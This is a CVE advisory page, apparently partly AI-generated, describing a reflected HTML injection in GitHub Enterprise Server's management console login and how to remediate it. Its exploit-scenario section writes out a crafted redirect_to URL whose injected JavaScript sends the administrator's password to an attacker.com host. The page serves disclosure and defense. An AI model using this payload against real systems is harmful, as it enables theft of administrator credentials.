Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker crafts malicious redirect_to URL
-
DeliverySends phishing email to administrator
-
ExploitAdministrator clicks link
-
InstallServer reflects unescaped parameter into HTML attribute
-
C2JavaScript injects credential-capture form
-
ExecuteAdministrator enters credentials
-
ImpactAttacker steals credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the following specific conditions: (1) the target must be running GitHub Enterprise Server version 3.19.1-3.19.5 or 3.20.0-3.20.1; (2) an administrator must click a crafted link containing malicious payload in the redirect_to parameter; (3) the administrator must then enter their credentials into the login form. The vulnerability cannot be exploited without direct administrator interaction - it is a reflected injection only, not stored, and does not execute without a user visiting the malicious URL. No special server configuration or feature enablement is required; the vulnerable code path is part of the standard management console deployment. The attack vector is network-accessible, but passive attack timing and required user interaction significantly constrain real-world exploitation compared to unauthenticated remote code execution vulnerabilities. |
| Impact | CVSS 5.9 (medium) with AV:N (network), AC:L (low complexity), but AT:P (passive attack timing) and UI:A (user interaction required) are critical limiting factors. VC:H indicates confidentiality impact (credential theft) but no integrity or availability impact. The passive attack timing means the attacker must wait for administrator action; this is not a direct, time-bound attack. EPSS scoring data is unavailable, but the combination of network vector + user interaction + limited scope (credential theft, not system compromise) suggests moderate real-world priority. KEV status and active exploitation signals are not confirmed in provided data; no POC is reported. The attack succeeds only when: (1) an attacker crafts a link, (2) socially engineers an administrator to click it, and (3) the administrator enters credentials into the injected form. This is phishing-adjacent, not an autonomous remote code execution risk. For environments with security-aware administrators and email filtering, real-world risk is lower than CVSS alone indicates. |
| Exploit ScenarioDerived | An attacker crafts a URL such as https://github-enterprise.internal/setup/unlock?redirect_to="onload="javascript:fetch('https://attacker.com/steal?creds='%2bdocument.getElementById('password').value) and sends it to a GitHub Enterprise administrator via spear-phishing email. When the administrator clicks the link and logs in, the injected JavaScript executes, exfiltrating the credentials to the attacker's server. The attacker then uses the stolen administrative credentials to access the management console. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 08, 2026
Reflected HTML injection in GitHub Enterprise Server Management Console login page allows credential theft when administrators click crafted links. The /setup/unlock endpoint reflects the redirect_to query parameter into an HTML attribute without sanitization, enabling attackers to inject malicious form elements that capture credentials. Affects versions 3.19.1-3.19.5 and 3.20.0-3.20.1; fixed in 3.19.6 and 3.20.2. Exploitation requires user interaction (administrator clicking a link), limiting real-world impact despite network-accessible attack surface.
RemediationAI
Upgrade GitHub Enterprise Server to version 3.19.6 or later if running 3.19.x, or to version 3.20.2 or later if running 3.20.x. See https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.6 and https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.2 for patched release details. As a compensating control pending upgrade, restrict access to the /setup/unlock endpoint using a Web Application Firewall or reverse proxy to block requests containing HTML/JavaScript special characters in the redirect_to parameter (e.g., <, >, ", ', &), or limit management console access to trusted internal IP ranges only. This mitigates social engineering by preventing external attackers from crafting and distributing malicious links, though it does not protect against internal threats. Educate administrators to avoid clicking management console links from untrusted sources and to verify URLs before entering credentials.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a reflected cross-site scripting (CWE-79) vulnerability in the GitHub Enterprise Server Management Console. The /setup/unlock endpoint accepts a redirect_to query parameter intended to redirect administrators after authentication, but fails to sanitize this parameter before reflecting it into an HTML attribute. An attacker can craft a URL containing malicious JavaScript or HTML form injection payloads that execute in the administrator's browser context. The vulnerability affects the authentication flow at the management console level, targeting server-side administrative functions rather than user-facing Git operations. CPE cpe:2.3:a:github:enterprise_server identifies the affected product family across all versions.
Know when Github gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
A reflected HTML injection vulnerability was identified in the GitHub Enterprise Server Management Console login page that could allow credential theft. The redirect_to query parameter on the /setup/unlock endpoint was reflected into an HTML attribute without proper sanitization, enabling an attacker to inject a form element that could capture administrator credentials. Exploitation required an administrator to click a crafted link and enter their credentials. This vulnerability affected GitHub Enterprise Server versions 3.19.1 through 3.19.5 and 3.20.0 through 3.20.1, and was fixed in versions 3.19.6 and 3.20.2. This vulnerability was reported via the GitHub Bug Bounty program.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Supply chain vulnerability in Eclipse Theia GitHub Actions workflow. The preview.yml workflow uses pull_request_target w
Supply chain attack vector in OpenLIT GitHub Actions workflows. The pull_request_target trigger with checkout enables ma
Eigent multi-agent workflow CI pipeline (ci.yml) uses pull_request_target with checkout of untrusted PR code, enabling a
An unsafe reflection vulnerability was identified in GitHub Enterprise Server that could lead to reflection injection. R
cmark-gfm is GitHub's extended version of the C reference implementation of CommonMark. Rated critical severity (CVSS 9.
An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowe
Unauthenticated infrastructure overwrite in Hoppscotch API development ecosystem before 2026.2.0. Attackers can overwrit
A exposure of sensitive information vulnerability exists in Jenkins GitHub Plugin 1.29.1 and earlier in GitHubTokenCrede
OneUptime versions prior to 10.0.19 allow unauthenticated attackers to hijack GitHub App integrations across projects by
PolarLearn versions 0-PRERELEASE-15 and earlier lack proper state parameter validation in OAuth 2.0 authentication, enab
Path traversal in esm.sh CDN prior to version 0.0.0-20260116051925-c62ab83c589e allows unauthenticated remote attackers
actions/artifact is the GitHub ToolKit for developing GitHub Actions. Rated high severity (CVSS 7.5), this vulnerability
EUVD-2026-28465
GHSA-xqmx-3vx6-fm88
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB